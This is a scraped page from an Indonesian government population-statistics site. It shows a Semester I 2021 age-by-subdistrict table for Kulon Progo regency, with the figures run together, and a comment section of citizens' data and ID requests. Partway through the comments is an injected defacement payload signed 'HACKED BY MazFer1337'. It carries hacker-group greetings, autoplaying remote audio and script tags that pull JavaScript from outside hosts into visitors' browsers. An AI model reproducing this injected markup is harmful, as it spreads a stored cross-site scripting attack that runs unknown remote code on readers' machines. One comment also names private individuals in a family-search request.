Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaTEMONWATESPANJATANGALURLENDAHSENTOLOPENGASIHKOKAPGIRIMULYONANGGULANSAMIGALUHKALIBAWANGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun322284 606523470 993421396 817313338 651475381 856564558 1.122581571 1.152413334 747266194 460318288 606243255 498304242 5464.743 4.311 9.054
2 tahun224177 401349293 642274214 488212182 394256241 497337310 647350329 679246229 475167139 306213196 409170147 317179162 3412.977 2.619 5.596
3 tahun195191 386331304 635261254 515227210 437277243 520351284 635355332 687234222 456146129 275207201 408168149 317167184 3512.919 2.703 5.622
4 tahun195185 380262308 570215222 437227183 410268264 532304301 605341302 643219207 426131128 259195174 369179166 345147151 2982.683 2.591 5.274
5 tahun221204 425382358 740283277 560209199 408277276 553353355 708380368 748259261 520183151 334233220 453214161 375205191 3963.199 3.021 6.220
6 tahun223196 419362346 708251262 513225237 462314263 577356295 651384323 707213221 434165159 324206201 407184133 317239175 4143.122 2.811 5.933
7 tahun199196 395334352 686266251 517200212 412279254 533365305 670361338 699248226 474152133 285211214 425152164 316174153 3272.941 2.798 5.739
8 tahun214209 423406335 741286256 542210225 435298268 566384331 715366373 739239224 463158140 298217181 398182167 349185185 3703.145 2.894 6.039
9 tahun234226 460392330 722291265 556261237 498338297 635413370 783391383 774288256 544147186 333217219 436180166 346220197 4173.372 3.132 6.504
10 tahun240168 408370343 713290271 561226245 471299288 587370348 718393375 768257224 481177165 342213200 413183171 354218217 4353.236 3.015 6.251
11 tahun228209 437399370 769272318 590269250 519307306 613391379 770409384 793267253 520169148 317243221 464192161 353231207 4383.377 3.206 6.583
12 tahun273221 494414376 790298280 578279278 557339285 624422388 810414373 787259205 464181154 335225203 428193201 394202226 4283.499 3.190 6.689
13 tahun229215 444416327 743263306 569228233 461331265 596396355 751410399 809235226 461163151 314231226 457181169 350205213 4183.288 3.085 6.373
14 tahun235192 427437379 816329288 617256185 441294271 565379400 779420377 797255261 516123138 261202202 404211202 413203206 4093.344 3.101 6.445
15 tahun192201 393387377 764291266 557198210 408283278 561326319 645381342 723231211 442150136 286201195 396178186 364211200 4113.029 2.921 5.950
16 tahun204204 408386363 749291254 545199216 415281253 534363367 730382359 741236245 481130138 268226202 428207196 403211207 4183.116 3.004 6.120
17 tahun244220 464363345 708320267 587251230 481292271 563366358 724405351 756255237 492175157 332203193 396199166 365186220 4063.259 3.015 6.274
18 tahun228197 425394351 745298303 601217238 455299296 595386356 742346388 734241224 465170181 351191212 403214218 432229238 4673.213 3.202 6.415
19 tahun230217 447371353 724278272 550216206 422302295 597348332 680358393 751241230 471159175 334229220 449196188 384252198 4503.180 3.079 6.259
20 tahun236225 461389349 738301255 556246205 451278276 554364353 717399413 812267238 505160183 343219218 437199190 389249215 4643.307 3.120 6.427
21 tahun226232 458402406 808304324 628263218 481318287 605391399 790374436 810272268 540168198 366258234 492239196 435244235 4793.459 3.433 6.892
22 tahun224209 433342334 676254265 519238252 490246247 493338346 684335354 689230226 456187152 339219195 414205190 395225195 4203.043 2.965 6.008
23 tahun229217 446366380 746311272 583236232 468283270 553364336 700365355 720320240 560193140 333230224 454211207 418227228 4553.335 3.101 6.436
24 tahun220218 438344316 660332286 618226216 442283289 572348341 689411383 794257278 535171178 349247217 464240224 464263253 5163.342 3.199 6.541
25 tahun228229 457402346 748313290 603250235 485252263 515341355 696394392 786263263 526185172 357257215 472234195 429197217 4143.316 3.172 6.488
26 tahun237218 455362352 714324262 586236238 474296321 617390358 748380401 781301266 567164182 346230222 452200160 360206193 3993.326 3.173 6.499
27 tahun234212 446361343 704298277 575224229 453295268 563342319 661402364 766257240 497191184 375213211 424213189 402222208 4303.252 3.044 6.296
28 tahun178181 359299328 627276246 522214218 432270268 538333371 704380372 752251249 500163173 336178200 378179208 387204199 4032.925 3.013 5.938
29 tahun199178 377360305 665301258 559218266 484279278 557330358 688375385 760296236 532164193 357213235 448174174 348232185 4173.141 3.051 6.192
30 tahun175156 331287351 638213243 456196208 404239247 486343334 677382384 766275232 507142162 304201222 423157157 314187175 3622.797 2.871 5.668
31 tahun161170 331295303 598221230 451228215 443245271 516362349 711349334 683236222 458162157 319223210 433131132 263189177 3662.802 2.770 5.572
32 tahun176170 346341299 640231262 493204194 398210235 445334322 656311345 656237198 435169144 313180195 375151146 297155149 3042.699 2.659 5.358
33 tahun162177 339308309 617242241 483200192 392274261 535305312 617335346 681220214 434140150 290206200 406157129 286174160 3342.723 2.691 5.414
34 tahun169188 357309338 647220245 465191196 387255279 534309316 625330370 700222217 439150136 286191157 348149152 301176150 3262.671 2.744 5.415
35 tahun174201 375346314 660240252 492203199 402288283 571336357 693342348 690208239 447175148 323202199 401163146 309172177 3492.849 2.863 5.712
36 tahun181200 381340383 723263250 513248234 482301324 625345353 698374426 800249239 488185186 371231211 442175176 351198197 3953.090 3.179 6.269
37 tahun192208 400345356 701281295 576210244 454316336 652391404 795384352 736229208 437196172 368179226 405149162 311182167 3493.054 3.130 6.184
38 tahun190238 428353399 752324283 607242284 526347315 662384381 765374391 765259263 522209168 377223229 452198177 375203213 4163.306 3.341 6.647
39 tahun212211 423398364 762246282 528224228 452324308 632405335 740372404 776301258 559176154 330194242 436153171 324198181 3793.203 3.138 6.341
40 tahun204222 426359370 729273254 527248243 491324297 621378365 743410359 769281268 549161166 327252242 494168180 348214202 4163.272 3.168 6.440
41 tahun179177 356345388 733260271 531227231 458322300 622363359 722374433 807284269 553181180 361254256 510177190 367186206 3923.152 3.260 6.412
42 tahun219214 433402363 765269276 545247248 495302313 615367384 751417398 815226213 439158150 308236221 457185178 363229218 4473.257 3.176 6.433
43 tahun199224 423357360 717293258 551235240 475312324 636369337 706363335 698259234 493175156 331198232 430199191 390192195 3873.151 3.086 6.237
44 tahun217193 410356372 728241283 524221206 427306269 575313327 640361342 703232272 504167127 294208197 405167179 346224208 4323.013 2.975 5.988
45 tahun198224 422367356 723252278 530252250 502306296 602398380 778354391 745247253 500160173 333238210 448198203 401207247 4543.177 3.261 6.438
46 tahun182198 380362330 692258275 533250232 482272257 529299311 610371345 716268261 529157158 315221179 400195199 394204189 3933.039 2.934 5.973
47 tahun183214 397320335 655246262 508213197 410266254 520296313 609331338 669249269 518152159 311186193 379183216 399209213 4222.834 2.963 5.797
48 tahun204190 394323363 686270279 549219247 466296281 577346377 723389353 742251255 506185154 339220252 472184232 416235240 4753.122 3.223 6.345
49 tahun174194 368297312 609281254 535246225 471257270 527338312 650310339 649239241 480142175 317213233 446230194 424187193 3802.914 2.942 5.856
50 tahun204197 401307328 635294281 575226272 498278247 525347341 688358384 742220216 436140169 309197222 419184165 349175172 3472.930 2.994 5.924
51 tahun201239 440366365 731305362 667264251 515315297 612344360 704413393 806241260 501170191 361217231 448224215 439202191 3933.262 3.355 6.617
52 tahun194231 425369382 751313287 600244264 508321292 613353381 734328418 746273288 561173189 362194211 405208220 428210226 4363.180 3.389 6.569
53 tahun208229 437338339 677258290 548275262 537295291 586357361 718376415 791218260 478178179 357222239 461216171 387208201 4093.149 3.237 6.386
54 tahun202203 405288326 614270258 528222263 485272272 544328361 689299323 622261248 509131181 312191222 413197214 411199222 4212.860 3.093 5.953
55 tahun228227 455372363 735260277 537257242 499319299 618321346 667335384 719266271 537171177 348221249 470194197 391185235 4203.129 3.267 6.396
56 tahun195188 383287371 658280272 552253230 483267264 531321330 651322376 698254299 553171182 353175205 380175206 381191203 3942.891 3.126 6.017
57 tahun190202 392291339 630243248 491207215 422267286 553304305 609339388 727219257 476171162 333179207 386147190 337160204 3642.717 3.003 5.720
58 tahun179160 339270299 569217275 492194232 426252273 525246306 552274316 590206235 441142162 304170196 366162190 352151171 3222.463 2.815 5.278
59 tahun164181 345307309 616193205 398182206 388209260 469281285 566294322 616205226 431142168 310169168 337178168 346148176 3242.472 2.674 5.146
60 tahun160183 343316310 626221225 446185202 387276283 559288315 603308310 618201277 478158174 332169200 369202191 393174221 3952.658 2.891 5.549
61 tahun189198 387296298 594243269 512230202 432268318 586310361 671351387 738263307 570187210 397195224 419214205 419200238 4382.946 3.217 6.163
62 tahun141180 321247265 512193219 412165190 355226229 455253281 534286259 545207217 424137177 314172176 348167198 365186195 3812.380 2.586 4.966
63 tahun109136 245206233 439182185 367173164 337188222 410237245 482284252 536196195 391107145 252151165 316166173 339139206 3452.138 2.321 4.459
64 tahun121134 255213222 435182163 345138148 286196230 426207255 462241221 462173169 342112115 227119124 243142160 302129157 2861.973 2.098 4.071
65 tahun110147 257205242 447159179 338146155 301203238 441213271 484208240 448192191 383124169 293173181 354168187 355168161 3292.069 2.361 4.430
66 tahun133147 280196213 409176211 387128156 284192213 405252228 480237254 491158189 347130158 288148173 321136158 294153182 3352.039 2.282 4.321
67 tahun95129 224160186 346162139 301127132 259191173 364205193 398191216 407139153 292130115 245114115 229170159 329122158 2801.806 1.868 3.674
68 tahun108127 235177183 36097136 233122125 247158165 323148153 301191176 367121145 266103117 22095122 217126146 272140131 2711.586 1.726 3.312
69 tahun10791 198166163 329138114 25299113 212126149 275172169 341169160 329138105 243105113 21810894 202118117 235114117 2311.560 1.505 3.065
70 tahun7495 169173147 320124140 264111114 225149168 317152174 326158152 310150156 30696119 215108137 245121115 236115141 2561.531 1.658 3.189
71 tahun88102 190113152 265140171 31190113 203138149 287158194 352137215 352135177 312100142 242117140 257111139 25094142 2361.421 1.836 3.257
72 tahun5687 14394117 21189109 1987399 172100128 228141173 314129165 29483120 2039374 1679899 19793104 197100108 2081.149 1.383 2.532
73 tahun5771 12881105 1866688 1547287 1597197 168103116 219117133 25087117 2046880 14885109 19494112 2067892 170979 1.207 2.186
74 tahun5161 1126776 1436288 1506784 15185114 19995143 23895115 2106494 1587479 1534160 10174104 17883102 185858 1.120 1.978
75 tahun5753 11072127 19976112 18887104 19186133 219108154 26293131 22480143 22395123 21878111 18978106 18499127 2261.009 1.424 2.433
76 tahun6774 14188118 20685130 2157284 15685117 20296143 239109185 29498155 25378104 18288107 19583111 19485125 2101.034 1.453 2.487
77 tahun5660 11659101 1607278 1504869 11770108 17889124 21391112 2037374 1474966 1154168 1097098 1686286 148780 1.044 1.824
78 tahun4866 1146899 1677288 1606681 14781100 18180111 19181120 20175116 1914459 1037066 13689108 1977180 151845 1.094 1.939
79 tahun3955 945672 1285873 1314758 1055379 1326290 1527490 1645593 1485763 1205861 1197175 1465784 141687 893 1.580
80 ke atas281410 691334605 939392637 1.029334519 853421652 1.073465811 1.276496728 1.224402629 1.031327487 814373513 886444576 1.020403622 1.0254.672 7.189 11.861
Jumlah14.40414.66329.06724.29724.55948.85619.23819.53938.77716.18216.57232.75420.52920.62841.15724.73225.25549.98725.85926.58852.44717.97518.20736.18212.16312.48124.64415.23715.64030.87714.01114.08728.09814.75915.23329.992 219.386 223.452 442.838
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih